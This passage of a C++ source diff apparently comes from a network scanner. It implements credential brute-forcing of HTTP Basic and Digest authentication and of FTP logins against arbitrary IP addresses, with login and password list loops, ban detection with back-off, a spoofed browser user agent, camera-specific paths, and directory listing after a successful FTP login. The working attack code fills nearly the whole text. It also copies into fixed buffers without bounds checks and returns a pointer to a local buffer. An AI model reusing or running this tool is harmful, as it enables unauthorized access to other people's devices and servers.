'a' - 10); + j = Bin[i] & 0xf; + if (j <= 9) + Hex[i*2+1] = (j + '0'); + else + Hex[i*2+1] = (j + 'a' - 10); + }; + Hex[HASHHEXLEN] = '\0'; +}; +char *_makeDigestResponse( + char *login, + char *realm, + char *pass, + char *path, + char *nonce, + char *pszNonceCount, + char *pszCNonce, + char *pszQop + ) +{ + char HA1[MD5_DIGEST_LENGTH]; + char HA2[MD5_DIGEST_LENGTH]; + char HA1Data[512] = {0}; + char HA2Data[512] = {0}; + + strcpy(HA1Data, login); + strcat(HA1Data, ":"); + strcat(HA1Data, realm); + strcat(HA1Data, ":"); + strcat(HA1Data, pass); + + strcpy(HA2Data, "GET:"); + strcat(HA2Data, path); + + MD5((unsigned char*) HA1Data, strlen(HA1Data), (unsigned char*)HA1); + MD5((unsigned char*) HA2Data, strlen(HA2Data), (unsigned char*)HA2); + + char responseData[512] = {0}; + char *HA1MD5 = new char[64]; + char *HA2MD5 = new char[64]; + ZeroMemory(HA1MD5, 64); + ZeroMemory(HA2MD5, 64); + + CvtHex(HA1, HA1MD5); + strcpy(responseData, HA1MD5); + strcat(responseData, ":"); + strcat(responseData, nonce); + strcat(responseData, ":"); + if (*pszQop != NULL) { + strcat(responseData, pszNonceCount); + strcat(responseData, ":"); + strcat(responseData, pszCNonce); + strcat(responseData, ":"); + strcat(responseData, pszQop); + strcat(responseData, ":"); + }; + CvtHex(HA2, HA2MD5); + strcat(responseData, HA2MD5); + delete []HA1MD5; + delete []HA2MD5; + + char response[MD5_DIGEST_LENGTH]; + MD5((unsigned char*) responseData, strlen(responseData), (unsigned char*)response); + char responseMD5[64] = {0}; + CvtHex(response, responseMD5); + return (char*)responseMD5; +}; + +lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) +{ + if(strcmp(method, "[DIGEST]") != 0 && strcmp(method, "[NORMAL]") != 0) stt->doEmitionRedFoundData("[-] Unknown method IP: " + QString(ip) + ":" + QString::number(port) + + ""); + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + int cookieLen = strlen(cookie); + char path[512] = {0}; + strncpy(path, pathT, 512); + + int bTO; + bool goon = false; + char hRqst[REQUEST_MAX_SIZE] = {0}; + char headerMsg[REQUEST_MAX_SIZE] = {0}; + char hMsgR[512] = {0}; + + strcpy(hRqst, "GET "); + strcat(hRqst, path); + strcat(hRqst, " HTTP/1.1\r\nHost: "); + strcat(hRqst, ip); + + if(port != 80){ + strcat(hRqst, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(hRqst, tbuff); + }; + + if(cookieLen != 0) + { + strcat(hRqst, "\r\nCookie: "); + strcat(hRqst, cookie); + }; + strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic bG9sa2E6bG9sa2F=\r\n\r\n"); + + sockaddr_in sockAddr; + if(port == 443) + { + ZeroMemory(headerMsg, REQUEST_MAX_SIZE); + _baSSLWorker(ip, hRqst, headerMsg); + } + + else + { + SOCKET sock; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + if(sock != INVALID_SOCKET) { + + if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) != SOCKET_ERROR) { + + if(send(sock, hRqst, strlen(hRqst), 0) != SOCKET_ERROR) { + + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hRqst)); + ZeroMemory(headerMsg, REQUEST_MAX_SIZE); + int x = 1; + int xx = 0; + + while(xx < 512) + { + x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO); + if(x <= 0) break; + strncat(headerMsg, hMsgR, x); + xx += x; + ZeroMemory(hMsgR, sizeof(hMsgR)); + }; + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg)); + } else { + if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Send]: " + QString::number(WSAGetLastError())); + }; + } else { + if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Connect]: " + QString::number(WSAGetLastError())); + }; + } else { + if(gDebugMode) stt->doEmitionDebugFoundData("[BA: Invalid socket]: " + QString::number(WSAGetLastError())); + }; + CSSOCKET(sock); + }; + + + + if(strlen(headerMsg) == 0) + { + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + if(strstr(headerMsg, "401 ") == NULL + && strstr(headerMsg, ".1 401") == NULL + && strstr(headerMsg, ".0 401") == NULL + && strstr(headerMsg, "401") == NULL + && strstr(headerMsg, "Unauthorized") == NULL + ) + { + if(strstri(headerMsg, "400 Bad") != NULL) + { + strcpy(lps.other, "[400 Bad Request]"); + isActive = 0; + return lps; + } + else if(strstri(headerMsg, "404 Not") != NULL + || strstr(headerMsg, "404 ") != NULL + || strstr(headerMsg, ".1 404") != NULL + || strstr(headerMsg, ".0 404") != NULL + ) + { + if(strstr(path, "/axis-cgi/com/ptz.cgi?") != NULL) + { + int sz = strlen("/view/viewer_index.shtml"); + strncpy(path, "/view/viewer_index.shtml", sz); + memset(path + sz, 0, 1); + goon = true; + } + else + { + strcpy(lps.other, QString("[404 Not Found (" + QString(path) + ")]").toLocal8Bit().data()); + isActive = 0; + return lps; + }; + } + else if( // + (strstr(headerMsg, ".1 403") != NULL // + || strstr(headerMsg, ".0 403") != NULL //Hikkvision2 + ) // + && strstr(headerMsg, "badAuthorization") != NULL // + ) + { + goon = true; + } + else if(strlen(headerMsg) < 16) + { + goon = true; + stt->doEmitionRedFoundData("Corrupted reply: (" + QString(headerMsg) + ") " + QString(ip) + ":"+ QString::number(port)); + }; + + if(goon == false) + { + strcpy(lps.login, "NULL"); + strcpy(lps.pass, "NULL"); + isActive = 0; + return lps; + }; + }; + + + isActive = 1; + char tPass[256] = {0}; + char curLogin[256] = {0}; + char curPass[256] = {0}; + int cCode; + int cErrCode; + int dataSz = 0; + char request[REQUEST_MAX_SIZE] = {0}; + char recvBuff[4096] = {0}; + char recvBuff2[512] = {0}; + char pass[256] = {0}; + int WSAErr; + + char localBuff[4096] = {0}; + strcpy(localBuff, headerMsg); + int passCounter = 1; + char attribute[2048] = {0}; + char nonce[512] = {0}; + char realm[512] = {0}; + char opaque[512] = {0}; + char qop[64] = {0}; + std::string encoded = ""; + + for(int i = 0; i < MaxLogin; i++) + { + if(globalScanFlag == false) break; + for(int j = 0; j < MaxPass; j++) + { + if(globalScanFlag == false) break; + + ZeroMemory(request, REQUEST_MAX_SIZE); + ZeroMemory(curLogin, sizeof(curLogin)); + ZeroMemory(curPass, sizeof(curPass)); + strcpy(curLogin, loginLst[i]); + strcpy(curPass, passLst[j]); + + if(strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) + { + ZeroMemory(attribute, sizeof(attribute)); + strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); + ZeroMemory(nonce, sizeof(nonce)); + strcpy(nonce, _getAttributeValue(attribute, "nonce=", ip, port)); + ZeroMemory(realm, sizeof(realm)); + strcpy(realm, _getAttributeValue(attribute, "realm=", ip, port)); + ZeroMemory(qop, sizeof(qop)); + if(strstri(attribute, "qop") != NULL) + { + strcpy(qop, _getAttributeValue(attribute, "qop=", ip, port)); + }; + + strcpy(request, "GET "); + strcat(request, path); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); + }; + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); + strcat(request, curLogin); + strcat(request, "\", realm=\""); + strcat(request, realm); + strcat(request, "\", nonce=\""); + strcat(request, nonce); + strcat(request, "\", uri=\""); + strcat(request, path); + strcat(request, "\", qop=auth, response=\""); + strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce, "10000001", "9d531d56796e0dc9", qop)); + if(strstri(attribute, "opaque") != NULL) + { + ZeroMemory(opaque, sizeof(opaque)); + strcpy(opaque, _getAttributeValue(attribute, "opaque=", ip, port)); + strcat(request, "\", opaque=\""); + strcat(request, opaque); + }; + strcat(request, "\", nc=10000001, cnonce=\"9d531d56796e0dc9\""); + strcat(request, "\r\nConnection: close\r\n\r\n"); + } + else + { + ZeroMemory(tPass, sizeof(tPass)); + strncpy(tPass, curLogin, strlen(curLogin)); + strcat(tPass, ":"); + strncat(tPass, curPass, strlen(curPass)); + encoded = base64_encode((const unsigned char *)tPass, strlen(tPass)); + strcpy(request, "GET "); + strcat(request, path); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); + }; + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); + strcat(request, encoded.c_str()); + strcat(request, "\r\nConnection: close\r\n\r\n"); + }; + + if(port == 443) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + if(BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass) + ";"); + _baSSLWorker(ip, request, recvBuff); + dataSz = strlen(recvBuff); + } + + else + { + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + if(cCode == SOCKET_ERROR) { + + int errorCode = WSAGetLastError(); + if(errorCode == 10038) { + + while(errorCode == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[BA][10038] - [" + QString(ip) + ":" + QString::number(port) + "]"); + CSSOCKET(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + errorCode = WSAGetLastError(); + }; + } else { + + CSSOCKET(sock); + + if(errorCode != 10060) + { + stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]"); + }; + + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + } else { + + int x = 1; + Activity += strlen(request); + + if(send(sock, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + dataSz = 0; + ZeroMemory(recvBuff2, sizeof(recvBuff2)); + ZeroMemory(recvBuff, sizeof(recvBuff)); + while (x > 0 && dataSz < 3384) + { + ZeroMemory(recvBuff2, sizeof(recvBuff2)); + x = recvWT(sock, recvBuff2, sizeof(recvBuff2), gTimeOut + 5, &bTO); + + dataSz += x; + Activity += x; + strncat(recvBuff, recvBuff2, x); + }; + if(BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(curLogin) + ":" + QString(curPass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + } + else + { + stt->doEmitionRedFoundData("[BA] Send error! [" + QString(ip) + "]"); + + CSSOCKET(sock); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + }; + CSSOCKET(sock); + }; + + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); + + if(dataSz == 0) + { + stt->doEmitionBAData("[BA] No reply from: " + QString(ip) + "; Repeating..."); + --j; + continue; + } + else + { + ++passCounter; + }; + + if(strcmp(method, "[DIGEST]") == 0) + { + ZeroMemory(localBuff, sizeof(localBuff)); + strcpy(localBuff, recvBuff); + }; + + if(strstri(recvBuff, "http/1.1 401") == NULL + || strstri(recvBuff, "http/1.0 401") == NULL + ) + { + ///dummy/// + } + else if(strstri(recvBuff, "503 service unavailable") != NULL + || strstri(recvBuff, "http/1.1 503") != NULL + || strstri(recvBuff, "http/1.0 503") != NULL + || strstr(recvBuff, "400 BAD_REQUEST") != NULL + || strstri(recvBuff, "400 bad request") != NULL + || strstr(recvBuff, "403 Forbidden") != NULL + ) + { + stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); + + if(j > 0) --j; + Sleep(30000); + } + else if((strstri(recvBuff, "http/1.1 404") != NULL + || strstri(recvBuff, "http/1.0 404") != NULL + ) + && strstri(recvBuff, "Authorization required") == NULL + ) + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); + + stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); + + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else if( (strstri(recvBuff, "200 ok") != NULL + || strstri(recvBuff, "http/1.0 200") != NULL + ) + && strstri(recvBuff, "http/1.1 401 ") == NULL + && strstri(recvBuff, "http/1.0 401 ") == NULL + && strstr(headerMsg, "401") == NULL + && strstr(headerMsg, "Unauthorized") == NULL + && dataSz > 13 + ) + { + if(strstri(recvBuff, "access is denied") == NULL + && strstri(recvBuff, "iisstart") == NULL + && strstri(recvBuff, "Location:") == NULL + && strstri(recvBuff, "access forbidden") == NULL + ) + { + ZeroMemory(pass, sizeof(pass)); + strcpy(pass, ip); + strcat(pass, " - Password found: "); + strcat(pass, tPass); + isActive = 0; + stt->doEmition_BAGreenData("[+] " + QString(pass)); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + return lps; + }; + } + else + { + ZeroMemory(pass, sizeof(pass)); + strcpy(pass, ip); + strcat(pass, " - Password found: "); + strcat(pass, tPass); + isActive = 0; + char *pt1 = strstr(recvBuff, " "); + if(pt1 != NULL) + { + char *pt2 = strstr(pt1 + 1, " "); + if(pt2 != NULL) + { + int sz = pt2 - pt1 - 1; + char tempHeaderCode[16] = {0}; + strncpy(tempHeaderCode, pt1 + 1, sz); + + if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: " + QString(ip) + ":" + QString::number(port) + ""); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + return lps; + }; + }; + stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: " + QString(ip) + ":" + QString::number(port) + ""); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + return lps; + }; + if(strstr(recvBuff, "Set-Cookie:") != NULL) + { + ZeroMemory(cookie, COOKIE_MAX_SIZE); + strncpy(cookie, _getAttribute(recvBuff, "Set-Cookie:"), COOKIE_MAX_SIZE); + cookieLen = strlen(cookie); + }; + }; + }; + + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; +} +lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + BConInc(); + lopaStr res = _BABrute(cookie, ip, port, path, method); + BConDec(); + + return res; +}; + +lopaStr _FTPBrute(char *ip, int port, PathStr *ps) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + char recvBuff[1024] = {0}, request[64] = {0}; + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + strcpy(lps.login, "UNKNOWN"); + return lps; + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + strcpy(lps.login, "UNKNOWN"); + return lps; + }; +#endif + + bool breakPassLoop = 0; + int passCounter = 1; + int bTO; + int x = 0; + int connectionResult, closedSocket = 1, loginFailedFlag = 0; + + SOCKET sockFTP; + for(int i = 0; i < MaxLogin; ++i) + { + if(globalScanFlag == false) break; + if(strlen(loginLst[i]) <= 1) continue; + + for(int j = 0; j < MaxPass; ++j) + { + if(globalScanFlag == false) break; + if(strlen(passLst[j]) <= 1) continue; + + if(closedSocket) + { + closedSocket = 0; + sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + while(WSAGetLastError() == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured - [" + QString(ip) + ":" + QString::number(port) + "]"); + CSSOCKET(sockFTP); + sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + }; + loginFailedFlag = 0; + }; + + isActive = 1; + + if(connectionResult != SOCKET_ERROR) + { + x = 0; + while (true) + { + Sleep(100); + ZeroMemory(recvBuff, 1024); + x = recvWT(sockFTP, recvBuff, 1024, gTimeOut + 5, &bTO); + if(x <= 0) break; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); + + Activity += x; + closedSocket = 0; + if(strstr(recvBuff, "451 The parameter is incorrect") != NULL) + { + CSSOCKET(sockFTP); + isActive = 0; + stt->doEmition_BARedData("[*] Unknown protocol (451 Error) - " + QString(ip)); + strcpy(lps.other, "Unknown protocol (451 Error)"); + return lps; + }; + + if(strstri(recvBuff, "only anonymous") != NULL) + { + CSSOCKET(sockFTP); + isActive = 0; + stt->doEmition_BAGreenData("[*] Anonymous access detected - " + QString(ip)); + + strcpy(lps.login, "anonymous"); + strcpy(lps.pass, "1"); + return lps; + }; + + if(strstr(recvBuff, "550 no connections allowed") != NULL + || strstr(recvBuff, "550-") != NULL + ) + { + CSSOCKET(sockFTP); + + isActive = 0; + + + stt->doEmition_BARedData("[-] 550 (No connections allowed) - Ban detected. Dropping " + QString(ip)); + + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + if(strstr(recvBuff, "no such command")) + { + CSSOCKET(sockFTP); + + isActive = 0; + stt->doEmition_BARedData("[-] 500 (Sorry, no such command) " + QString(ip)); + strcpy(lps.other, "[500 Sorry, no such command]"); + return lps; + }; + + if((strstr(recvBuff, "500 ") != NULL + || strstr(recvBuff, "500-") != NULL + ) + && strstri(recvBuff, "500 oops") == NULL + ) + { + j = 0; + break; + }; + + if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL) + { + break; + }; + + if(strstri(recvBuff, "530 Sorry, no ANONYMOUS access allowed.") != NULL) + { + ++i; + break; + }; + + if(globalScanFlag == false) break; + + if((strstr(recvBuff, "530 Sorry") != NULL) + || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "maximum") != NULL) + || strstr(recvBuff, "exceeded") != NULL + || strstr(recvBuff, "421 Too many") != NULL + || strstr(recvBuff, "from this IP") != NULL + || strstr(recvBuff, "from your IP") != NULL) + { + stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")"); + if(j > 0) --j; + ZeroMemory(recvBuff, sizeof(recvBuff)); + Sleep(30000); + break; + } + else if( (strstr(recvBuff, "220 ") != NULL || loginFailedFlag == 1 || strstr(recvBuff, "503") != NULL || strstr(recvBuff, "server ready") != NULL )) + { + strcpy(request, "USER "); + if(strlen(loginLst[i]) != 0) strcat(request, loginLst[i]); + else + { + loginFailedFlag = 1; + break; + }; + strcat(request, "\r\n"); + if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + Activity += strlen(request); + + ZeroMemory(request, sizeof(request)); + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + }; + } + else if(strstr(recvBuff, "530") != NULL + || strstr(recvBuff, "Login incorrect") != NULL + || strstri(recvBuff, "500 oops") != NULL + ) + { + loginFailedFlag = 1; + break; + } + else if(strstr(recvBuff, "331") != NULL) + { + if(strstr(recvBuff, "Non-anonymous sessions must use encryption") != NULL + || strstr(recvBuff, "Rejected--secure connection required") != NULL + ) + { + stt->doEmition_BARedData("FTP server (" + QString(ip) + ") appears to require SSL for specified user: " + QString(loginLst[i])); + CSSOCKET(sockFTP); + + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else if(strstri(recvBuff, "permission denied") == NULL) + { + strcpy(request, "PASS "); + if(strlen(passLst[j]) != 0) strcat(request, passLst[j]); + else + { + loginFailedFlag = 1; + break; + }; + strcat(request, "\r\n"); + if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + + Activity += strlen(request); + ZeroMemory(request, sizeof(request)); + + if(BALogSwitched) stt->doEmitionBAData("Probing FTP: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + ++passCounter; + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + }; + } + else + { + breakPassLoop = 1; + stt->doEmition_BARedData("Permission denied for login - " + QString(ip) + ":" + QString::number(port) + "; login: " + QString(loginLst[i])); + break; + }; + } + else if(strstr(recvBuff, "230") != NULL) + { + char pass[128] = {0}; + + strcpy(pass, ip); + strcat(pass, " - FTP Password found: "); + strcat(pass, loginLst[i]); + strcat(pass, ":"); + strcat(pass, passLst[j]); + + char recvBuff2[2048] = {0}; + if(send(sockFTP, "PASV\r\n", 6, 0) != SOCKET_ERROR) + { + int x = 1, xx = 0; + while(x != 0) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(sockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 5, &bTO); + xx += x; + if(xx < 1536) strncat(recvBuff2, recvBuff, x); + else break; + }; + + if(strstri(recvBuff2, "unknown command") != NULL || strstri(recvBuff2, "invalid command") != NULL) + { + stt->doEmitionYellowFoundData("[-] PASV failed. Router detected?"); + CSSOCKET(sockFTP); + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + strcpy(lps.other, "ROUTER"); + isActive = 0; + return lps; + }; + +#pragma region Get pasv Port + char *ptr0 = strstr(recvBuff2, "227 "); + + if( ptr0 != NULL ) + { + if(strstr(ptr0, "(") != NULL) + { + char pasvData[32] = {0}; + char *ptr1 = strstr(ptr0, "("); + char *ptr2 = strstr(ptr0, ")"); + int sz = ptr2 - ptr1 - 1; + strncpy(pasvData, ptr1 + 1, sz); + char *ptr3 = strstr(pasvData, ","); + ptr3 = strstr(ptr3 + 1, ","); + ptr3 = strstr(ptr3 + 1, ","); + ptr3 = strstr(ptr3 + 1, ","); + + if(ptr3 != NULL) + { + char *ptrP2 = strstr(ptr3 + 1, ","); + char p1c[8] = {0}; + sz = ptrP2 - ptr3 - 1; + strncpy(p1c, ptr3 + 1, sz); + int p1 = atoi(p1c); + int p2 = atoi(ptrP2 + 1); + port = p1 * 256 + p2; + + sockAddr.sin_port = htons(port); + SOCKET newSockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(newSockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + send(sockFTP, "LIST\r\n", 6, 0); + ZeroMemory(recvBuff, sizeof(recvBuff)); + int x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); + if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) + { + send(sockFTP, "MLSD\r\n", 6, 0); + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); + if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) + { + stt->doEmition_BAGreenData("[?] " + QString(pass) + " [MLSD&LIST failed or server closed connection.]"); + + CSSOCKET(sockFTP); + CSSOCKET(newSockFTP); + closedSocket = 1; + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else { + stt->doEmition_BAGreenData("[+] " + QString(pass) + " [MLSD succeeded]"); + ps->directoryCount = _countFTPDirectories(recvBuff); + }; + } + else + { + stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]"); + ps->directoryCount = _countFTPDirectories(recvBuff); + }; + + CSSOCKET(newSockFTP); + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV failed]"); + }; + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); + }; + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); + }; + + + if(xx > 1) + { + strcpy(ps->headr, "
 (");
+								strncat(ps->headr, recvBuff, 256);
+								strcat(ps->headr, ")
"); + }; + + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + + CSSOCKET(sockFTP); + isActive = 0; + return lps; + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + + CSSOCKET(sockFTP); + isActive = 0; + return lps; + }; + }; + }; + + CSSOCKET(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, sizeof(recvBuff)); + } + else + { + char err[128] = {0}; + + int WSAerr; + if(connectionResult == -1) WSAerr = WSAGetLastError(); + else WSAerr = 10060; + + if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0) + { + stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str())); + }; + CSSOCKET(sockFTP); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + Sleep(100); + + if(breakPassLoop) + { + breakPassLoop = false; + break; + }; + }; + }; + + CSSOCKET(sockFTP); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + BConInc(); + lps = _FTPBrute(ip, port, ps); + BConDec(); + + return lps; +}; + +int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) +{ + SSL *ssl = NULL; + int bytes = 0; + char *recvBuff2 = 0; + int resCode = 0; + + const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ + SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ + if(ctx != NULL) + { + SOCKET sock; + SSL_CTX_set_timeout(ctx, gTimeOut); + resCode = OpenConnection(&sock, iph, porth); + if(resCode >= 0) + { + ssl = SSL_new(ctx); /* create new SSL connection state 